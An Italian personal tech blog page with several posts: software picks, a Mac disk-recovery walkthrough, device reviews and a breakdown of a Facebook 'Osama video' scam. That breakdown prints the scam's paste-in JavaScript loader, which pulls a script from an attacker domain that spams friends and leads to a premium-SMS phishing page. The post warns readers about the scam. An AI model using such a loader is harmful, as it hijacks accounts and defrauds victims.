Category: varie

Cose interessanti per NERD, una rubrica che spero diverrà periodica

Ok, ho trascurato il Blog per un po’ ma nel frattempo sono riuscito a procurarmi una laurea. Bene. Ora che ho tempo vorrei periodicamente mettere in mostra qui sul mio blog alcuni progetti, ricerche, immagini interessanti o divertenti che potrebbero interessarvi. Iniziamo:

USB-Tiny [homepage] e V-USB [homepage]

Implementazione del protocollo USB per i microcontroller Atmel AVR Attiny piuttosto limitata visto l’hardware ma che comunque permette di comunicare fra PC e Microcontroller in modo semplice (ormai seriali e parallele non si vedono sui PC, neanche sui desktop).

Rilevazione dei movimenti tramite variazione della potenza del segnare delle reti wireless [articolo PDF]

Questo tipo di cose mi piacciono non perché sia particolarmente interessante l’applicazione in se, o promettente il lavoro, bensì perché apprezzo molto la capacità di pensare fuori dagli schemi, l’utilizzo di un effetto dovuto ad una tecnologia/infrastruttura per trarne altri tipi di informazioni.

BoxCard2D [homepage]

È un gioco evolutivo e poco interattivo, ma mi piace molto. Lo scopo è evolvere il miglior veicolo per un certo percorso target, si possono disegnare dei modelli base e poi lasciare il lavoro al simulatore (che in questo modo valuta la cosiddetta “fitness” del modello) e all’evolutore genetico che creerà nuove generazioni di modellini. Divertente.

Il video di Osama su Facebook, anatomia di un “virus”.

Virus virgolettato, perché lo è formalmente – ma a ben vedere, non è un infezione “cronica” – dura il tempo di esecuzione di uno script. Da ieri, che io sappia, gira su facebook un link che dovrebbe contenere il video dell’esecuzione di Osama Bin Laden. Ovviamente è un falso e quando si clicca viene presentata una pagina di questo tipo:

Fan page incriminata su Facebook

Innanzitutto copiare e incollare qualcosa che non si capisce (e che palesemente non è un indirizzo web) nella barra degli indirizzi è cosa cattiva e sbagliata. Facebook ce la mette tutta, filtrando i contenuti visualizzabili sulle sue pagine interne – e di fatti per aggirare le restrizioni che non permetterebbero il diffondersi di certi programmi (script) malevoli, il cattivone di turno deve affidarsi al mitico errore PEBKAC ( “Problem Exists Between Keyboard And Chair” ) ovvero all’utente poco saggio che fa tutto quello che gli dici senza sapere cosa sta facendo. Fantastico.

Andiamo oltre e vediamo qual’è il codice che dobbiamo copiare e incollare.

javascript:(a=(b=document).createElement('script')).src='//strummer5202.info/you/joe.php?'+Math.random(),
b.body.appendChild(a);
void(0)

Ho riformattato leggermente il codice per una più facile lettura. In pratica esegue un comando “inline” javascript che crea un elemento script e e nel campo SRC inserisce l’url  ”strummer5202.info/you/joe.php” concatenandoci un numero casuale. La seconda riga inserisce nel documento corrente lo script appena creato, mentre l’ultima linea non esegue nulla. Notare l’utilizzo della virgola invece del punto e virgola, è il “comma operator” – una finezza che non sono sicuro fosse necessaria.

Vediamo brevemente il codice che viene inserito nella pagina da questo comando:

// Il codice l'ho rimosso perchè mi rovinava il layout
// e comunque non era così interessante, se avete 
// conoscenza di AJAX, potete scrivervelo in pochi minuti
// da soli.

Senza entrare nel dettaglio, vediamo come come prima cosa legge un cookie, che evidentemente serve per comunicare con facebook – poi scarica la lista degli amici e inserisce il link sulla bacheca dei primi 400 amici. In seguito manipola lo stile della barra inferiore per nasconderla, e invia il link anche a tutti gli amici online in chat. Come ultima cosa, porta l’utente ad una pagina esterna a facebook, dove viene chiesto di verificare l’account inserendo il numero di telefono. La pagina si presenta come “verosimile” anche se lo stile non è proprio quello ufficiale di facebook, e l’italiano è un po’ troppo informale.

Inserisci il tuo numero e ritrovati il credito prosciugato.

Ovviamente non ho inserito il numero, ma è verosimile pensare che ci si abboni a qualche servizio a pagamento, possibilmente molto costoso – così oltre al danno anche la beffa. Il riquadro è un frame, che contiene un altro sito di servizi in abbonamento per telefoni cellulari. Non so se l’indirizzo viene generato dinamicamente, comunque il frame intero, e non ritagliato “ad hoc” contiene anche le informazioni sul servizio a cui ci si ritrova abbonati inserendo il proprio numero:

Servizio in abbonamento, riservato ai maggiorenni, disponibile per i clienti di TIM, Vodafone, WIND e 3. Prima di attivare il servizio e scaricare il contenuto, confermare di aver letto Termini di Servizio, [...] costo del servizio 5 Euro a settimana IVA inc. Dal costo del servizio è escluso il traffico WAP dove previsto. Costo SMS di richiesta TIM e WIND 12,4 centesimi IVA inc. (WIND: 50 centesimi IVA inc. dall’estero), Vodafone e 3 secondo proprio piano tariffario. [...] Per disattivare manda un SMS con scritto RI STOP al 4890897.

Il servizio sembra completamente legittimo (anche perchè in collaborazione con una grande azienda di telecomunicazioni), ho tagliato alcune parti in cui compare il nome del fornitore del servizio perché la mia impressione è che non centri assolutamente con l’autore del “virus” che voleva semplicemente fare più danni possibile.

UPDATE: mi hanno risposto via email i gestori del “frame” che veniva incluso nella pagina finale – ed ovviamente sono completamente estranei alla vicenda, io lascio il numero per la disattivazione del servizio nel caso qualche lettore sprovveduto si fosse a sua insaputa iscritto al servizio. Il sito “verifica-account.com” è già offline come anche il sito “strummer5202.info” – direi che le autorità o chi per loro (amministratori dei vari ISP coinvolti) sono stati veloci.

Programmi “must have” per OSX

Ovviamente questa è una classifica completamente ed essenzialmente personale, contenente alcuni software che uso molto spesso sul mio MacBook.

Skim

Lettore PDF leggero, e con alcune feature interessanti. Lo uso molto per prendere “note a margine” delle slide durante le lezioni. L’avevo scaricato, tempo fa, per la sola modalità fullscreen.

http://skim-app.sourceforge.net/

Disk Inventory X

Sono disordinato, e lo sono sempre stato. Questo tool mi aiuta graficamente a trovare file grossi e inutili da eliminare (tipicamente i drive di qualche esperimento fatto con VirtualBox). Non lo uso molto spesso, ma quando lo uso trovo sempre qualche decina di Gb inutilmente occupati.

http://www.derlien.com/

Dropbox

Lo uso da relativamente poco tempo, però continuo a trovarlo molto utile. Ce l’ho sia sul MacBook, che sul pc fisso (linux) e cellulare (android) – lo uso principalmente per sincronizzare fra i due pc i file dell’università e i sorgenti di qualche programmino. Inoltre ci ho salvato i miei dizionari preferiti, e poi ho la cartella condivisa con gli amici per le cose meno serie. Da provare, se vi iscrivete cliccando il link qui sotto mi regalate 250 Mb di spazio.

http://www.dropbox.com/

Fetch Art

Per scaricare le cover dei brani su iTunes, piccola utility che uso saltuariamente.

http://fetchartblog.blogspot.com/

Music Brainz Picard

Usando la magia nera questo software trova le tag giuste per i file .mp3 forniti. Utile per le persone come me che si ritrovano con molti file non taggati.

http://musicbrainz.org/doc/MusicBrainz_Picard

Recuperare l’errore “Invalid node structure” (recovery) su Snow Leopard + English Version

For a short ENGLISH version (very very short) scroll to bottom of the article.

Attenzione: prima di tutto questa non è una procedura standard, è solo il resoconto di come IO abbia risolto questo problema sul MIO MacBook – non mi dilungo in spiegazioni sui comandi e concetti dei sistemi unix-like, se capite quello che c’è scritto bene, altrimenti lasciate un commento e proverò a darvi chiarimenti, oppure rivolgetevi a qualcuno con conoscenze adeguate. È fondamentale capire che non mi assumo alcuna responsabilità se provando questa procedura perdete tutti i dati, vi si rompe il mac, o simili – fatelo a vostro rischio e pericolo.

Ieri sera il MAC si era freezato – il motivo è presto detto: tempo fa mi è scivolato (una ventina di centimetri) mentre il drive stava scrivendo, immagino che si sia rovinato parzialmente il disco, o il filesystem. Il giorno dopo riavviando il sistema andava lentissimo e il comando “sudo dmesg” segnalava diversi “Disk I/O error”. Questo errore in realtà segnala sia problemi hardware (per i quali il drive va sostituito) sia problemi software – ad esempio inconsistenze nel filesystem. Il mio era il secondo caso (è per questo che non sono sicurissimo che il drive si sia danneggiato, potrebbe aver “rimappato” i settori danneggiati su quelli di riserva) – ed ho risolto avviando il mac in modalità singolo utente (bisogna premere cmd+s all’accensione) e lanciando il comando “fsck -fy”, che in teoria è prassi standard per risolvere certi problemi (e in linea di massima non necessita di un backup) – ma il problema che mi si era presentato stamattina era ben diverso, e non risolvibile in questo modo.

Il comando fsck, sta per “filesystem check” ed è in grado di riparare i danni al filesystem, o comunque di renderlo funzionante (al costo di perdere alcuni dati) – per questo consiglio un backup di tutto ciò che è leggibile, e possibilmente anche dell’intera immagine del disco, prima di procedere. Per fare un backup basta inserire un drive esterno (usb), montarlo, e copiarci dentro tutti i dati.

Nel dettaglio, prima di inserire il drive esterno, lanciate questo comando e guardate l’output.

# ls /dev/disk*
/dev/disk0	/dev/disk0s1	/dev/disk0s2

Ora inseriamo il drive e lanciamo di nuovo il comando

# ls /dev/disk*
/dev/disk0	/dev/disk0s1	/dev/disk0s2	/dev/disk1	/dev/disk1s1

Ecco, in questo esempio il drive esterno ha preso il nome di “disk1″ e la sua unica partizione (nel mio caso NTFS) si chiama “disk1s1″. A questo punto, dobbiamo creare una cartella dove “montare” il drive, e fare il mount. Ri-montiamo il root in modalità read-write, con il comando “mount -uw /”, creiamo il mountpoint “mkdir /mnt” e finalmente facciamo il mount (nel caso di ntfs, di avere il supporto ntfs-3g, e del drive disk1 con unica partizione) : “mount -t ntfs-3g /dev/disk1s1 /mnt”.

A questo punto potreste avere qualche warning, o errore di timeout (io ho avuto quest’ultimo) ma facendo “ls /mnt/” possiamo controllare che il drive sia montato – vedendo se il terminale ci elenca i contenuti. A questo punto ho creato un archivio “tar” contenente tutta la mia directory utente, con il comando

tar -cvf /mnt/backup.tar /Users/qualsiasi

Dove sostituirete il vostro username al mio, ovviamente. Se uno volesse proprio essere sicuro, potrebbe anche farsi una copia byte per byte del drive sul mac, con

dd if=/dev/disk0s2 of=/mnt/mac_hd.img

Vi invito a leggere la manpage di dd per conoscere le opzioni aggiuntive da dare (bs count etc…) – Ma soprattutto fate attenzione che il file “mac_hd.img” non esista già sul vostro drive (verrà sovrascritto senza chiedere conferma).

Attenzione: dev’essere vostra cura fare il backup di tutti i file necessari, nel mio caso mi importava solo della directory utente, ma voi potreste avere file importanti anche in altri punti del filesystem. Io per i dati più importanti uso anche un servizio esterno, gratuito, e multipiattaforma (OSX, Linux, Windows, Android..) che è Dropbox, questo è il mio “referral link”.

Completati questi passaggi possiamo tentare questo comando, che è un po’ l’ultimo tentativo prima di dover formattare tutto (o addirittura cambiare drive) e ripristinare i propri dati dal backup.

Riavviamo di nuovo in “single user” (con cmd+s all’accensione) e lanciamo questo comando:

# fsck_hfs -pfry /dev/disk0s2

Ricordatevi che il risultato potrebbe portarvi in qualunque situazione, da un mac completamente funzionante (come quello dal quale sto scrivendo quest’articolo) ad un limbo con il drive vuoto – potrebbe perdervi tutti i dati non backuppati, e per sfregio potrebbe anche autodistruggere il macbook. A vostro rischio e pericolo, divertente il fatto che le opzioni contengano proprio “fry” a ribadire la pericolosità. Se siete fortunati, dopo un bel po’ di lavoro vi dirà che il filesystem è ok. Se siete sfortunati come lo sono stato (parzialmente) io, vi dirà che dopo tre tentativi non è riuscito a correggere l’errore. In questo caso lanciate il comando “fsck -fy” una o due volte, finchè non vi dice che è tutto ok. Se continua a darvi errore – mi sa che dovete buttare il drive e/o formattarlo e reinstallare tutto. Almeno ci abbiamo provato.

Attenzione: prima di tutto questa non è una procedura standard, è solo il resoconto di come IO abbia risolto questo problema sul MIO MacBook – non mi dilungo in spiegazioni sui comandi e concetti dei sistemi unix-like, se capite quello che c’è scritto bene, altrimenti lasciate un commento e proverò a darvi chiarimenti. È fondamentale capire che non mi assumo alcuna responsabilità se provando questa procedura perdete tutti i dati, vi si rompe il mac, o simili – fatelo a vostro rischio e pericolo.

Warning: this is NOT a standard procedure – it’s the way I have fixed MY macbook – i’m not here to explain unix-like commands and concepts, I you understand what’s written good – if not you could leave a comment or ask someone who knows. I’m not taking any responsibility over any damage this procedure could cause to your mac, ranging from data loss to global termonuclear war (and all things in between).

This morning I had a “Disk I/O Error” in the dmesg, and I tried the standard procedure of booting single user and running fsck, but i got an “Invalid node structure” error. So I did a backup on a USB external drive of my user folder. To do this backup i ran (at command line) “ls /dev/disk*” before and after connecting the drive – so I could identify what was his name in the system. In the examples above you could see my drive was “disk1s1″ (this means disk one – partition one, my usb drive has only one partition). I had to make root filesystem writeable, with “mount -uw /” and to create a mountpoint “mkdir /mnt” – after this I mounted the drive with “mount -t ntfs-3g /dev/disk1s1 /mnt” (pay attention, this is for a NTFS drive on a MAC with macfuse+ntfs-3g installed, your setup may be different).

After mounting the drive, I did a “tar -cvf /mnt/backup.tar /Users/my_user” to backup all my stuff. If I had enough space (and enough time) I could have done a “dd if=/dev/disk0s2 /mnt/disk.img” (check on the drive if disk.img already exists, this command doesn’t ask for confirmations to overwrite).

Warning: backup ALL you need. I kept all my files in my user directory, but it’s up to you to see where your data is and backup it properly. For important files I use an external service available on OSX, Linux, Windows and Android, Dropbox: this is my referral link.

After this i did a (be careful, this command will likely loose some data, or ALL data, on the disk) “fsck_hfc -pfry /dev/disk0s2″ and waited to finish (takes long time). It reported it cannot fix the drive in 3 attempts, so I ran “fsck -fy” after that (i needed to run two times) to finally read on the screen that the filesystem was successfully fixed. If yours keeps saying it’s not fixed chances are that you’re gonna have to change the hard drive, or at least need to do a full format and reinstallation. At least we tried.

CM7 RC1 rilasciata, e l’IBM crea un computer per il Jeopardy.

Breve post per ragguagliarvi sull’uscita della CyanogenMod 7 Relase Candidate, l’unico bug noto e problematico da risolvere (gli altri vengono risolti fra una build e l’altra) è quello che gli americani chiamano “call wonkyness” (wonk vuol dire traballante) e sostanzialmente si tratta di un bug che ogni tanto rende problematiche le telefonate. Eccettuando un piccolo delay di 15-20 secondi (comunque molto fastidioso) all’inizio di una (una sola) chiamata, che non so se rientra in quel bug – per il resto io non ho riscontrato problemi.

Piccola chicca della settimana, l’IBM non è più morbosamente interessata agli scacchi e adesso si è data al “Jeopardy” con i seguenti risultati:

http://www.youtube.com/watch?v=WFR3lOm_xhE

Nortek HDBOX R1 HDMI – 1Tb

L’altro ieri ho comprato questo box, con incluso un hard-disk da 1Tb, al prezzo di 139 euro. Vediamo le caratteristiche che mi hanno spinto a comprarlo

  • 1Tb di spazio è tanto. Tanto.
  • HDMI, così posso collegarlo con un cavo solo (e non 5, 3YUV+2Audio) alla TV
  • Linux. È un embedded device, processore MIPS, 64Mb di RAM, e un’organizzazione interna da far venire il mal di testa, ma possiede delle partizioni scrivibili nelle quali depositare eventuali programmi compilati per quell’architettura
  • Ethernet. Ha la porta di rete, e oltre a poter riprodurre video da una condivisione windows (nel mio caso samba), ha anche funzionalità NAS (sebbene sia rumoroso quando è acceso), in più ci si può far girare molte cose (proxy, ssh, wget, …)
  • 2 porte USB, con supporto per qualche modello di chiavetta wifi-usb, e soprattutto per attaccarci eventualmente la stampante (se riuscirò a cross-compilare cups), o molte altre cose (l’UPS?)
  • 1 porta USB, la terza, per connettere il disco direttamente a un PC e scriverci dentro a velocità folli (ok, no, non così folli…)
  • Uscita YUV/AV, ingresso solo AV – potrebbero servire. L’ingresso per registrare, e per la funzione time-shift che non ho ancora provato…
  • Led blu. Tutti amano i led blu.

Per contro è rumoroso e non è adatto a stare sempre acceso come NAS nella stessa camera in cui io dormo, molta gente online dice che senza ventolina (che è la principale fonte di rumore) funziona comunqe alla grande senza surriscaldarsi. Vedrò.

Di default ha un’accesso telnet, senza password, che mi lascia un po’ basito se penso che dovrei usarlo come NAS, ma ovviamente si può rimediare spegnendo il telnet e usando SSH con keyfile (non ho ancora provato, quindi per ora sono ipotesi). Mi farebbe molto piacere se avesse qualcosa tipo il wake-on-lan e non so il perchè, mi è venuto in mente ora.

Nortek HDBOX R1 HDMI

Nortek HDBOX R1 HDMI

Non legge moltissimi formati, ma comunque legge tutti quelli che mi interessano, cito dal sito:

Formati video supportati: AVI, MPG, VOB, DAT, MPEG-2 TS, IFO
CODECs video supportati: MPEG-1, MPEG-2, MPEG-4 (DivX 5.x, DivX 4.x, DivX 3.x, XviD)
Decodifica video ad alta definizione: 720p, 1080i

Più che onesto, certo gli MKV sarebbero stati utili, ma conoscendoli… anche no. Per ora così. Magari in futuro avrò più informazioni da condividere.

Google Wave in prova

Pochi giorni fa mentre controllavo l’email, ne trovo una che aspettavo da un po’ di tempo: “Your invitation to preview Google Wave”. Beh, che dire, mi sono iscritto subito, ho mandato una raffica (no, scherzo, una decina) di inviti e ho iniziato subito a smanettarci un po.

Ovviamente per godersi al meglio l’esperienza, servono i Google Gears installati, che io avevo già perchè li usa anche WordPress per facilitare talune cose, o perlomeno li avevo sul portatile. Su questo nuovo PC non li avevo ancora, e una sfavorevole combinazione del fatto che ArchLinux usi una sua versione di firefox (chiamata shiretoko) e dell’architettura a 64 bit, mi ha fatto fallire l’installazione dal sito di google. Per chi avesse con Arch questi problemi la soluzione è:

yaourt -S google-gears-svn

Detto questo, le prime impressioni su Wave sono positive, però alcune cose vanno ancora smussate:

  1. Io avrei inserito una suddivisione preconfigurata fra Wave pubblici (da integrare nei blog, etc..) e Wave privati (da usare come una Mail+IM+…) così da semplificare la gestione e evitare di pubblicare per sbaglio cose che si vorrebbero mantenere private.
  2. Il fatto che si possano modificare i messaggi altrui, non mi garba. E’ difficile risalire al messaggio originale, sapere chi ha modificato cosa è quasi impossibile, forse usando il playback, comunque non è immediato, e per quanto mi riguarda non è nemmeno garbato. I messaggi dovrebbero essere modificabili solo da chi li ha scritti.
  3. Chiunque nella Wave può invitare altre persone, anche questo potrebbe essere migliorabile, potrebbe ritornare nel discorso delle Wave pubbliche o private, potrebbe esserci una piccola moderazione da parte di chi l’ha iniziata… so che non è nello spirito collaborativo dello strumento, ma parlo vedendolo come un’alternativa all’email+IM in questo momento.
  4. L’inserimento di immagini e PDF funziona bene.. sarebbe bello anche audio/video magari con la possibilità di registrare direttamente dalla webcam, al giorno d’oggi non è gran cosa.
  5. I bot dovrebbero essere differenziati in qualche modo.. potrebbero ad esempio avere l’username e l’icona sulla destra… e comunque dovrebbero poter essere disabilitabili in una wave, o poter essere nascosti.

Per ora queste sono le prime cose che mi sono venute in mente. Ah, se qualcuno vuole provarlo io ho ancora qualche invito disponibile…

Gli inviti vengono comunque "ricaricati" di tanto in tanto..

Gli inviti vengono comunque "ricaricati" di tanto in tanto..

… scrivete pure l’email in un commento, tanto ho la moderazione quindi non verrà pubblicata e non riceverete spam.

Buon Waving!

Tags: ,

categories varie

Facebook Mail?

No, molto probabilmente è solo un indizio che non porta a nulla, ma l’URL della posta in arrivo (interna) su Facebook è:

http://www.facebook.com/inbox/?folder=[fb]messages

Quella tag [fb] potrebbe essere precorritrice di una possibile integrazione di qualche altro tipo di mail nel social network. Magari mail @facebook.com, oppure client POP/IMAP per usare Gmail/altre caselle nel sito. Oppure, molto più probabilmente, non significa nulla.

Navigare fra le “Tab” di Firefox con il multitouch

Non è una cosa difficile, si usa il gesto “twirl” ovvero la rotazione, per passare da una tab a quella precedente o successiva. Aprite firefox (3.5) e digitate nella barra degli indirizzi “about:config”. Seguite la trafila di rito dove Mozilla vi dice di stare attenti, bla bla, e scrivete “gesture” nel filtro.

Ora impostate così queste voci:

browser.gesture.twist.left = Browser:PrevTab
browser.gesture.twist.right = Browser:NextTab

Godetevi la nuova funzione.

Nuove antenne e nuovi orizzonti

Tran Max UVS-300

Tran Max UVS-300

Eccola qui, l’antenna che ho appena acquistato. Non l’ho ancora montata perchè sono in fase di studio del suo sostegno. Comunque le caratteristiche tecniche sono, sinteticamente: 5,2 m di altezza, 8.3 dB di guadagno sui 2 metri, e 11.7 dB sui 70 centimetri. Potenza massima 200 W.

Adesso vedrò di alzarla il più presto possibile, la discesa vorrei farla con un Aircell 7, o un RG-213. E poi si vedrà.

Oltre all’antennaggio, sono passato al lato oscuro dell’informatica. OSX. Che è ottimo, pochissime lacune, invece molte cose funzionali, come il multitouch che all’inizio sembra un effetto inutile per sbalordire, e invece è utile soprattutto se accoppiato a MultiClutch al quale ho assegnato solo “Swipe Down” (ovvero 3 tocchi che scorrono verso il basso) a   ?+H, ovvero “Hide/Nascondi”.

Per il momento sono a corto di programmi HAM per OSX, alcuni li sto provando, ma appena avrò un setup decente, scriverò le mie scelte.

Adesso che è finita la lunga pausa estiva, riprenderò a scrivere qualcosa di tanto in tanto su questo blog, come facevo prima dell’estate. L’idea è sempre quella di arrivare ad una certa regolarità… ma la vedo dura.

Concludo con l’informazione che sto provando Arch Linux, con KDE4 sul mio Desktop, e dopo un inizio non esaltante le cose stanno andando meglio. Il vecchio portatile verrà presto convertito in un serverino casalingo (Samba shares, condivisione stampante, backup).

Alla prossima!